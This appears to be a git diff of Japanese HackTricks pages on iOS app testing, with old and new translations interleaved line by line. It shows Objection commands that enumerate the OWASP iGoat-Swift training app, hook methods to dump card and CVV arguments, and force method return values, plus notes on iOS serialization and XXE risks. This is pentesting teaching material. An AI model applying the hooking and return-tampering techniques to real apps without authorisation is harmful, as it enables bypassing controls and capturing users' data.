* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
</details>

View file

@ -1,38 +1,38 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェックしてください!</strong></summary>
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
* [**PEASSファミリー**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをチェックしてください。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加するか**、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローしてください。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details>
このセクションでは、[**Objection**](https://github.com/sensepost/objection)というツールを使用します。\
まず、以下のようにObjectionのセッションを取得します。
このセクションでは、ツール[**Objection**](https://github.com/sensepost/objection)を使用します。\
まず、以下のようなコマンドを実行してobjectionのセッションを開始します
```bash
objection -d --gadget "iGoat-Swift" explore
objection -d --gadget "OWASP.iGoat-Swift" explore
```
`frida-ps -Uia`を実行して、電話の実行中のプロセスを確認することもできます。
```bash
frida-ps -Uia
```
# アプリの基本的な列挙
# アプリの基本列挙
## ローカルアプリパス
## ローカルアプリパス
* `env`: デバイス内のアプリが格納されているパスを見つける
* `env`: デバイス内にアプリケーションが保存されているパスを見つける
```bash
env
Name Path
名前 パス
----------------- -----------------------------------------------------------------------------------------------
BundlePath /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F546068/iGoat-Swift.app
CachesDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library/Caches
@ -40,22 +40,22 @@ DocumentDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A1
LibraryDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library
```
## バンドル、フレームワーク、ライブラリの一覧
## バンドル、フレームワーク、ライブラリのリスト
* `ios bundles list_bundles`: アプリのバンドルの一覧を表示する
* `ios bundles list_bundles`: アプリケーションのバンドルをリストする
```bash
ios bundles list_bundles
Executable Bundle Version Path
実行ファイル バンドル バージョン パス
------------ -------------------- --------- -------------------------------------------
iGoat-Swift OWASP.iGoat-Swift 1.0 ...8-476E-BBE3-B9300F546068/iGoat-Swift.app
AGXMetalA9 com.apple.AGXMetalA9 172.18.4 ...tem/Library/Extensions/AGXMetalA9.bundle
```
* `ios bundles list_frameworks`: アプリで使用されている外部フレームワークの一覧を表示する
* `ios bundles list_frameworks`: アプリケーションが使用する外部フレームワークをリストする
```bash
ios bundles list_frameworks
Executable Bundle Version Path
実行ファイル バンドル バージョン パス
------------------------------ -------------------------------------------- ---------- -------------------------------------------
ReactCommon org.cocoapods.ReactCommon 0.61.5 ...tle.app/Frameworks/ReactCommon.framework
...vateFrameworks/CoreDuetContext.framework
@ -78,11 +78,11 @@ RNCClipboard org.cocoapods.RNCClipboard 1.
react_native_image_picker org.cocoapods.react-native-image-picker 2.3.4 ...orks/react_native_image_picker.framework
[..]
```
* `memory list modules`: メモリにロードされたモジュールの一覧を表示する
* `memory list modules`: メモリにロードされたモジュールをリストする
```bash
memory list modules
Name Base Size Path
名前 ベース サイズ パス
----------------------------------- ----------- ------------------- ------------------------------------------------------------------------------
iGoat-Swift 0x104ffc000 2326528 (2.2 MiB) /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F54...
SubstrateBootstrap.dylib 0x105354000 16384 (16.0 KiB) /usr/lib/substrate/SubstrateBootstrap.dylib
@ -94,29 +94,33 @@ Foundation 0x1ab550000 2732032 (2.6 MiB) /System/L
libobjc.A.dylib 0x1bdc64000 233472 (228.0 KiB) /usr/lib/libobjc.A.dylib
[...]
```
* `memory list exports <module_name>`: ロードされたモジュールのエクスポートを表示する
* `memory list exports <module_name>`: ロードされたモジュールのエクスポートをリストする
```bash
memory list exports iGoat-Swift
Type Name Address
タイプ 名前 アドレス
-------- -------------------------------------------------------------------------------------------------------------------------------------- -----------
variable _mh_execute_header 0x104ffc000
function _mdictof 0x10516cb88
function _ZN9couchbase6differ10BaseDifferD2Ev 0x10516486c
function _ZN9couchbase6differ10BaseDifferD1Ev 0x1051648f4
function _ZN9couchbase6differ10BaseDifferD0Ev 0x1051648f8
function _ZN9couchbase6differ10BaseDiffer5setupEmm 0x10516490c
function _ZN9couchbase6differ10BaseDiffer11allocStripeEmm 0x105164a20
function _ZN9couchbase6differ10BaseDiffer7computeEmmj 0x105164ad8
function _ZN9couchbase6differ10BaseDiffer7changesEv 0x105164de4
function _ZN9couchbase6differ10BaseDiffer9addChangeENS0_6ChangeE 0x105164fa8
function _ZN9couchbase6differlsERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEERKNS0_6ChangeE 0x1051651d8
function _ZN9couchbase6differlsERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEERKNS1_6vectorINS0_6ChangeENS1_9allocatorIS8_EEEE 0x105165280
variable _ZTSN9couchbase6differ10BaseDifferE 0x1051d94f0
variable _ZTVN9couchbase6differ10BaseDifferE 0x10523c0a0
## アプリのクラスのリスト
変数 _mh_execute_header 0x104ffc000
関数 _mdictof 0x10516cb88
関数 _ZN9couchbase6differ10BaseDifferD2Ev 0x10516486c
関数 _ZN9couchbase6differ10BaseDifferD1Ev 0x1051648f4
関数 _ZN9couchbase6differ10BaseDifferD0Ev 0x1051648f8
関数 _ZN9couchbase6differ10BaseDiffer5setupEmm 0x10516490c
関数 _ZN9couchbase6differ10BaseDiffer11allocStripeEmm 0x105164a20
関数 _ZN9couchbase6differ10BaseDiffer7computeEmmj 0x105164ad8
関数 _ZN9couchbase6differ10BaseDiffer7changesEv 0x105164de4
関数 _ZN9couchbase6differ10BaseDiffer9addChangeENS0_6ChangeE 0x105164fa8
関数 _ZN9couchbase6differlsERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEERKNS0_6ChangeE 0x1051651d8
関数 _ZN9couchbase6differlsERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEERKNS1_6vectorINS0_6ChangeENS1_9allocatorIS8_EEEE 0x105165280
変数 _ZTSN9couchbase6differ10BaseDifferE 0x1051d94f0
変数 _ZTVN9couchbase6differ10BaseDifferE 0x10523c0a0
変数 _ZTIN9couchbase6differ10BaseDifferE 0x10523c0f8
[..]
```
* `ios hooking list classes`: アプリのクラスのリストを表示します
## アプリのクラスリスト
* `ios hooking list classes`: アプリのクラスをリストする
```bash
ios hooking list classes
@ -134,8 +138,7 @@ AAAppleTVRequest
AAAttestationSigner
[...]
```
* `ios hooking search classes <search_term>`: 文字列を含むクラスを検索します。例では、メインのアプリパッケージ名に関連する一意の用語を検索して、アプリのメインクラスを見つけることができます。
* `ios hooking search classes <search_term>`: 文字列を含むクラスを検索する。アプリのメインパッケージ名に関連するユニークな用語を**検索して**、アプリのメインクラスを見つけることができる。
```bash
ios hooking search classes iGoat
@ -153,9 +156,9 @@ iGoat_Swift.MemoryManagementVC
[...]
```
## クラスメソッドのリスト
## クラスメソッドのリスト
* `ios hooking list class_methods`: 特定のクラスのメソッドのリストを表示します
* `ios hooking list class_methods`: 特定のクラスのメソッドをリストする
```bash
ios hooking list class_methods iGoat_Swift.RCreditInfo
@ -169,8 +172,7 @@ ios hooking list class_methods iGoat_Swift.RCreditInfo
- initWithValue:
- setCardNumber:
```
* `ios hooking search methods <search_term>`: 文字列を含むメソッドを検索します
* `ios hooking search methods <search_term>`: 文字列を含むメソッドを検索する
```bash
ios hooking search methods cvv
@ -187,13 +189,13 @@ ios hooking search methods cvv
[iGoat_Swift.CloudMisconfigurationExerciseVC - setCvvTxtField:]
```
# 基本的なフッ
# 基本的なフッキング
アプリケーションで使用されるクラスとモジュールを列挙したので、いくつかの興味深いクラスとメソッド名を見つけることができました
アプリケーションが使用する**クラスとモジュールを列挙**した後、いくつかの**興味深いクラスとメソッド名**が見つかったかもしれません
## クラスのすべてのメソッドをフックする
* `ios hooking watch class <class_name>`: クラスのすべてのメソッドをフックし、メソッドが呼び出されるたびにすべての初期パラメータと戻り値をダンプしま
* `ios hooking watch class <class_name>`: クラスのすべてのメソッドをフックし、すべての初期パラメータと戻り値をダンプす
```bash
ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController
@ -201,23 +203,23 @@ ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController
## 単一のメソッドをフックする
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: 特定のクラスの特定のメソッドをフックし、メソッドが呼び出されるたびにパラメータ、バックトレース、および戻り値をダンプしま
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: 特定のクラスのメソッドをフックし、呼び出されるたびにメソッドのパラメータ、バックトレース、戻り値をダンプす
```bash
ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" --dump-args --dump-backtrace --dump-return
```
## ブール値の返り値を変更する
## ブーリアン戻り値の変更
* `ios hooking set return_value "-[<class_name> <method_name>]" false`: 選択したメソッドが指定されたブール値を返すようにします
* `ios hooking set return_value "-[<class_name> <method_name>]" false`: 選択したメソッドが指定されたブーリアンを返すようにする
```bash
ios hooking set return_value "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" false
```
## フッテンプレートの生成
## フッキングテンプレートの生成
* `ios hooking generate simple <class_name>`:
* `ios hooking generate simple <class_name>`:
```bash
ios hooking generate simple iGoat_Swift.RCreditInfo
@ -267,16 +269,14 @@ console.log('Leaving - setCvv:');
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ</strong></summary>
- **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですかまたは、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!**
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
- [**公式のPEASSHackTricksのスウェット**](https://peass.creator-spring.com)を手に入れましょう
- **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)または[telegramグループ](https://t.me/peass)に参加するか、**Twitter** [🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/hacktricks_live)**をフォローしてください。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* **HackTricksに広告を掲載したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをチェックしてください。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
* **ハッキングのトリックを共有するには**、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。
</details>

View file

@ -1,34 +1,36 @@
```markdown
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) を使ってゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)を含む[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
</details>
# WebViewプロトコルハンドラー
# WebView プロトコルハンドラー
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) を使ってゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)を含む[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
</details>
```

View file

@ -1,25 +1,8 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
- [**公式のPEASSHackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>
```markdown
### NSCodingとNSSecureCoding
iOSには、Objective-Cまたは`NSObject`のためのオブジェクト**シリアライゼーション**のための2つのプロトコルがあります**`NSCoding`**と**`NSSecureCoding`**。クラスがいずれかのプロトコルに準拠すると、データは**`NSData`**にシリアライズされますバイトバッファのラッパーです。Swiftの`Data`は`NSData`またはその可変対応である`NSMutableData`と同じです。`NSCoding`プロトコルは、インスタンス変数をエンコード/デコードするために実装する必要がある2つのメソッドを宣言します。**`NSCoding`を使用するクラスは、`NSObject`を実装するか、@objcクラスとして注釈を付ける必要があります**。以下に示すように、`NSCoding`プロトコルではエンコードとイニシャライズの実装が必要です。
iOSには、Objective-Cまたは`NSObject`のオブジェクト**シリアライゼーション**用の2つのプロトコルがあります**`NSCoding`**と**`NSSecureCoding`**です。**クラスがこれらのプロトコルのいずれかに準拠している場合**、データは**`NSData`**にシリアライズされます:**バイトバッファー**のラッパーです。Swiftの`Data`は`NSData`またはその可変対応の`NSMutableData`と同じです。`NSCoding`プロトコルは、そのインスタンス変数をエンコード/デコードするために実装されなければならない2つのメソッドを宣言します。**`NSCoding`を使用するクラスは`NSObject`を実装するか、@objcクラスとして注釈を付ける必要があります**。`NSCoding`プロトコルは、以下に示すようにエンコードとinitを実装することを要求します。
```
```swift
class CustomPoint: NSObject, NSCoding {
@ -48,21 +31,23 @@ name:name)
//getters/setters/etc.
}
```
`NSCoding`に関する問題は、オブジェクトがしばしば**クラスタイプを評価する前に既に構築および挿入されている**ことです。これにより、攻撃者は簡単にさまざまなデータを注入することができます。そのため、**`NSSecureCoding`**プロトコルが導入されました。[`NSSecureCoding`](https://developer.apple.com/documentation/foundation/NSSecureCoding)に準拠する場合、以下を含める必要があります:
`NSCoding`の問題点は、クラスタイプを評価する前に、オブジェクトが**構築されて挿入されてしまうことが多い**ということです。これにより、攻撃者が**様々なデータを容易に注入することができます**。そのため、**`NSSecureCoding`** プロトコルが導入されました。[`NSSecureCoding`](https://developer.apple.com/documentation/foundation/NSSecureCoding)に準拠する場合、以下を含める必要があります:
```swift
static var supportsSecureCoding: Bool {
return true
}
```
`init(coder:)`がクラスの一部である場合、オブジェクトをデコードする際には、次のようなチェックを行う必要があります。
```markdown
`init(coder:)`がクラスの一部である場合。次に、オブジェクトをデコードする際には、例えば以下のようなチェックを行うべきです:
```
```swift
let obj = decoder.decodeObject(of:MyClass.self, forKey: "myKey")
```
`NSSecureCoding`への適合は、インスタンス化されるオブジェクトが予想されているものであることを保証します。ただし、データに対しては**追加の整合性チェックは行われず**、データは暗号化されません。したがって、秘密データは追加の**暗号化**が必要であり、整合性を保護する必要があるデータは追加のHMACを取得する必要があります。
`NSSecureCoding`の遵守は、インスタンス化されるオブジェクトが期待されたものであることを保証します。しかし、データに対して**追加の整合性チェックは行われず**、データは暗号化されていません。したがって、秘密データは追加の**暗号化**が必要であり、整合性を保護する必要があるデータには追加のHMACが必要です。
### NSKeyedArchiverを使用したオブジェクトのアーカイブ
`NSKeyedArchiver`は、オブジェクトをエンコードしてファイルに保存するための`NSCoder`の具象サブクラスです。`NSKeyedUnarchiver`はデータをデコードし、元のデータを再作成します。`NSCoding`セクションの例を取り上げて、これらをアーカイブしてアンアーカイブしましょう。
`NSKeyedArchiver``NSCoder`の具象サブクラスであり、オブジェクトをエンコードしてファイルに保存する方法を提供します。`NSKeyedUnarchiver`はデータをデコードし、元のデータを再作成します。`NSCoding`セクションの例を取り上げ、今度はそれらをアーカイブしてアンアーカイブしてみましょう:
```swift
// archiving:
NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive")
@ -71,7 +56,7 @@ NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive")
guard let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as?
CustomPoint else { return nil }
```
主要なplist `NSUserDefaults`に情報を保存することもできます。
情報をプライマリplistの`NSUserDefaults`にも保存できます:
```swift
// archiving:
let data = NSKeyedArchiver.archivedDataWithRootObject(customPoint)
@ -84,16 +69,16 @@ let customPoint = NSKeyedUnarchiver.unarchiveObjectWithData(data)
```
### Codable
`Codable`は`Decodable`と`Encodable`プロトコルの組み合わせです。`String`、`Int`、`Double`、`Date`、`Data`、`URL`は自然に`Codable`であり、追加の作業なしで簡単にエンコードおよびデコードすることができます。以下に例を示します
これは`Decodable`と`Encodable`プロトコルの組み合わせです。`String`、`Int`、`Double`、`Date`、`Data`、`URL`は本質的に`Codable`です:つまり、追加の作業なしで簡単にエンコードおよびデコードできるという意味です。次の例を見てみましょう
```swift
struct CustomPointStruct:Codable {
var x: Double
var name: String
}
```
`Codable`を`CustomPointStruct`の継承リストに追加することで、例の`init(from:)`と`encode(to:)`メソッドが自動的にサポートされます。`Codable`の動作の詳細については、[Apple Developer Documentation](https://developer.apple.com/documentation/foundation/archives\_and\_serialization/encoding\_and\_decoding\_custom\_types)を参照してください。
例の`CustomPointStruct`の継承リストに`Codable`を追加することで、`init(from:)`と`encode(to:)`メソッドが自動的にサポートされます。`Codable`の動作の詳細については、[Apple Developer Documentation](https://developer.apple.com/documentation/foundation/archives_and_serialization/encoding_and_decoding_custom_types)を確認してください。
また、`Codable`を使用してデータをプライマリプロパティリスト`NSUserDefaults`に保存することもできます。
また、`NSUserDefaults`のプライマリプロパティリストにデータを保存するためにcodableを使用することもできます
```swift
struct CustomPointStruct: Codable {
var point: Double
@ -111,9 +96,9 @@ if let data = UserDefaults.standard.value(forKey: "points") as? Data {
let points2 = try? PropertyListDecoder().decode([CustomPointStruct].self, from: data)
}
```
### JSONエンコーディング
### JSON エンコーディング
JSONデータをエンコードするためのサードパーティのライブラリ([ここ](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#json-and-codable)で紹介されていますはたくさんあります。しかし、Appleは`Codable`を`JSONEncoder`と`JSONDecoder`と組み合わせることで、JSONのエンコードとデコードを直接サポートしています。
JSON形式でデータをエンコードするための多くのサードパーティライブラリがあります([こちら](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#json-and-codable)で説明されています。しかし、Appleは`Codable`を`JSONEncoder`および`JSONDecoder`と組み合わせることで、直接JSONエンコーディング/デコーディングのサポートを提供しています:
```swift
struct CustomPointStruct: Codable {
var point: Double
@ -134,14 +119,15 @@ let stringData = String(data: data, encoding: .utf8)
```
### XML
XMLエンコーディングには複数の方法があります。JSONパースと同様に、[Fuzi](https://github.com/cezheng/Fuzi)、[Ono](https://github.com/mattt/Ono)、[AEXML](https://github.com/tadija/AEXML)、[RaptureXML](https://github.com/ZaBlanc/RaptureXML)、[SwiftyXMLParser](https://github.com/yahoojapan/SwiftyXMLParser)、[SWXMLHash](https://github.com/drmohundro/SWXMLHash)などのさまざまなサードパーティライブラリがあります。
XMLエンコーディングには複数の方法があります。JSONパースと同様に、様々なサードパーティライブラリが存在します。例えば: [Fuzi](https://github.com/cezheng/Fuzi), [Ono](https://github.com/mattt/Ono), [AEXML](https://github.com/tadija/AEXML), [RaptureXML](https://github.com/ZaBlanc/RaptureXML), [SwiftyXMLParser](https://github.com/yahoojapan/SwiftyXMLParser), [SWXMLHash](https://github.com/drmohundro/SWXMLHash)
これらのライブラリ速度、メモリ使用量、オブジェクトの永続性などの点で異なりますが、より重要なのは、XML外部エンティティの処理方法が異なることです。例として、[Apple iOSオフィスビューアのXXE](https://nvd.nist.gov/vuln/detail/CVE-2015-3784)を参照してください。したがって、可能な限り外部エンティティのパースを無効にすることが重要です。詳細については、[OWASP XXE防止チートシート](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)を参照してください。これらのライブラリの他に、Appleの[`XMLParser`クラス](https://developer.apple.com/documentation/foundation/xmlparser)を使用することもできます。
これらは速度、メモリ使用量、オブジェクトの永続性などの点で異なり、より重要なのはXML外部エンティティの扱い方が異なることです。例として[XXE in the Apple iOS Office viewer](https://nvd.nist.gov/vuln/detail/CVE-2015-3784)を参照してください。したがって、可能であれば外部エンティティの解析を無効にすることが重要です。詳細については、[OWASP XXE prevention cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/XML\_External\_Entity\_Prevention\_Cheat\_Sheet.html)を参照してください。ライブラリの他に、Appleの[`XMLParser`クラス](https://developer.apple.com/documentation/foundation/xmlparser)を用することもできます。
